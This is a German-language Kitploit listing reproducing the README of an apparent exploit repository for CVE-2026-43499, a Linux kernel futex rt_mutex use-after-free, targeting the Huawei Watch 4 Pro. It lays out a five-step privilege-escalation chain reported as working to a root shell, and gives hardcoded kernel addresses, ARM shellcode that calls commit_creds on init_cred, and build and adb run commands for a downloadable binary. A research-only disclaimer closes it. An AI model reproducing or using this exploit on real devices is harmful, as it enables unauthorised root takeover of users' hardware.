Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ghostlock-cve-2026-43499 — CVE-2026-43499 (GhostLock) – Linux-Kernel-Futex-PI-rt_mutex-UAF-ARM32-Privilege-Escalation-Forschung, die auf die Huawei Watch 4 Pro (Kernel 5.4.210) abzielt. | Kitploit
Tools/GitHubGitHub/gitchw/ghostlock-cve-2026-43499
Embedded-System-SicherheitPrivilege EscalationIoT-SicherheitSchwachstellenanalyseExploitationReverse EngineeringPayload-EntwicklungBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
gitchw/ghostlock-cve-2026-43499

ghostlock-cve-2026-43499

CVE-2026-43499 (GhostLock) – Linux-Kernel-Futex-PI-rt_mutex-UAF-ARM32-Privilege-Escalation-Forschung, die auf die Huawei Watch 4 Pro (Kernel 5.4.210) abzielt.

Repository anzeigen
4278vor 29 TagenNoch nicht geprüft

CVE-2026-43499 (GhostLock) — ARM32-Kernel-Privilegieneskalationsforschung

Forschung zu einer Use-After-Free-Schwachstelle im Linux-Kernel-Futex-PI-rt_mutex und Exploit-Entwicklung für die Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, Kernel 5.4.210.

Schwachstelle

remove_waiter() in kernel/locking/rt_mutex.c verwendet beim Rollback des Proxy-Locks fälschlicherweise current statt waiter->task und versäumt es, pi_blocked_on auf der Waiter-Task zu löschen. Dadurch bleibt nach dem Freigeben des Kernel-Stack-Frames des Waiters ein hängender Zeiger von task_struct auf einen stack-allokierten rt_mutex_waiter zurück — ein klassischer Stack-Use-After-Free.

Exploit-Strategie

  1. Hängender Zeiger — Auslösen eines EDEADLK-Rollbacks über futex(FUTEX_CMP_REQUEUE_PI) über drei Threads hinweg; pi_blocked_on des Waiters zeigt auf den freigegebenen Stack.
  2. Stack-Spray (Stamp) — Verwenden von prctl(PR_SET_NAME) (Option 15, unprivilegiert), um 15 Bytes kontrollierter Daten auf den Kernel-Stack zu kopieren und dabei die Felder task/lock/prio des gefälschten Waiters zu überschreiben.
  3. Schreibprimitive — sched_setattr() löst einen PI-Chain-Walk aus; der gefälschte Waiter wird in ein gefälschtes rt_mutex eingereiht, das eine Kernel-file_operations-Struktur überlappt. Das Einfügen in den Rot-Schwarz-Baum schreibt die Kernel-Stack-Adresse des Waiters in fops->unlocked_ioctl.
  4. Codeausführung — Erneutes Stempeln des Waiters mit positionsunabhängigem ARM-Shellcode; Öffnen eines weltweit zugänglichen Zeichengeräts und Aufrufen von ioctl(), das über den überschriebenen unlocked_ioctl-Zeiger in den Shellcode auf dem ausführbaren Kernel-Stack springt.
  5. Privilegieneskalation — Der Shellcode ruft commit_creds(waiter) auf, wobei die ersten Felder des Waiters (gesetzt durch rb_insert_color) eine gefälschte struct cred mit uid/gid = 0 bilden.

Aktueller Status

  • UAF-Trigger: funktioniert (auf dem Gerät verifiziert)
  • Stack-Stamp via prctl: funktioniert
  • Schreibprimitive für eine einzelne Kernel-Stack-Adresse: funktioniert (überschreibt fops->unlocked_ioctl mit der Stack-Adresse des Waiters)
  • Kernel-Stack als ausführbar bestätigt (kein PXN/NX im BSS-/Stack-Bereich)
  • Codeausführung & Root-Eskalation: funktioniert (Dispatch via ioctl(null_fd, IOCTL_CMD, 0) in den Shellcode -> commit_creds(&init_cred) -> Root-Shell)

Zielgerät

EigenschaftWert
GerätHuawei Watch 4 Pro (MDS-AL00)
SoCSnapdragon SW5100 (Cortex-A7, armv7l)
Kernel5.4.210 (32-Bit-ARM)
KASLRdeaktiviert
PAN/SMAPnicht vorhanden
PXNnicht vorhanden ab 0xc1b00000+ (Stack/BSS ausführbar)
CFI/PACnicht vorhanden

Wichtige Kernel-Adressen

kernel base           0xC0008000
syscall table         0xc0101264
do_vfs_ioctl          0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds          0xc014c898  (true commit_creds entry)
override_creds        0xc014cac8  (leaf helper immediately following commit_creds)
rt_mutex_enqueue      0xc019c660
rb_insert_color       0xc104a918
init_task             0xc1b11640
init_cred             0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK             0xc141f5d4  (null_fops + 0x24)
write target          0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD             0x01B17E60  (INIT_CRED + 0x40000000)

Repository-Struktur

.
├── README.md                  # Project documentation
├── boot.img                   # Target device boot image (32 MB)
├── exploit/
│   ├── ghostlock_arm32.c      # Main ARM32 exploit source
│   ├── ghostlock_arm32.h      # Exploit definitions header
│   ├── ghostlock_arm32        # Compiled static ARM binary
│   ├── ghostlock_poc1.c       # Initial crash POC
│   ├── nebula_poc.c           # Nebula team reference POC
│   └── variants/              # Research exploit variants & performance tests
│       ├── ghostlock_v11_kgsl_preadv2.c
│       ├── ghostlock_v6a_kgsl_getdents64.c
│       ├── ghostlock_v7_clock_adjtime.c
│       └── ...
├── kernel/
│   ├── kernel_raw.bin         # Uncompressed kernel binary (28 MB)
│   └── kallsyms_parsed.txt    # Extracted kernel symbol table
├── analysis/                  # Capstone/Keystone-based reverse engineering
│   ├── *.py                   # Disassembly and verification scripts
│   └── *.txt                  # Extracted tables and scan logs
├── references/
│   ├── ghostlock/             # Earlier exploit iterations & research notes
│   ├── ref_tc3650/            # TC3650 ARM32 reference materials
│   └── ref_oneplus_aarch64/   # OnePlus / Oppo AArch64 GhostLock references
└── tools/
    └── fetch_missing.sh       # Zig-based musl toolchain compilation script

Erstellen

Verwendung von Cross-Compilation mit GCC oder Zig:

# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

Ausführung

adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32

Shellcode-Design

Positionsunabhängiger ARM-Shellcode, der bei waiter+0x18 eingefügt wird:

sub r0, r1, #0x40000000   @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4]         @ jump to commit_creds
.word 0xc014c898          @ true commit_creds entry
  • Wenn ioctl(null_fd, cmd, arg) f_op->unlocked_ioctl(filp, cmd, arg) aufruft, enthält das Register r1 das Argument cmd.
  • Durch Setzen von cmd = 0x01B17E60 berechnet sub r0, r1, #0x40000000 (Kodierung 0xe2410101, keine Nullbytes) r0 = 0xc1b17e60 (&init_cred).
  • commit_creds(&init_cred) installiert Root-Anmeldeinformationen mit vollen Fähigkeiten und sauberem SELinux-Sicherheitskontext und kehrt sauber zu do_vfs_ioctl zurück (lr = 0xc031c8c0).

Hinweis zum file_operations-Layout

Die struct file_operations dieses Vendor-Kernels hat ein zusätzliches 4-Byte-Feld bei Offset +0x24 (zwischen poll und unlocked_ioctl), wodurch alle nachfolgenden Member um 4 Bytes gegenüber dem Standard-Linux 5.4 verschoben werden:

+0x04 llseek        +0x20 poll
+0x08 read          +0x24 <vendor extra>
+0x0c write         +0x28 unlocked_ioctl
+0x10 read_iter     +0x2c compat_ioctl
+0x14 write_iter    +0x30 mmap
+0x18 iterate       +0x38 open
+0x1c iterate_shared +0x40 release

Dies wurde durch Disassemblieren der ashmem- und null-fops-Handler verifiziert.

Haftungsausschluss

Dieses Repository dient ausschließlich der Sicherheitsforschung und -ausbildung. Verwenden Sie diese Techniken nicht auf Geräten, die Ihnen nicht gehören oder für die Sie keine Testberechtigung besitzen.

Tool herunterladen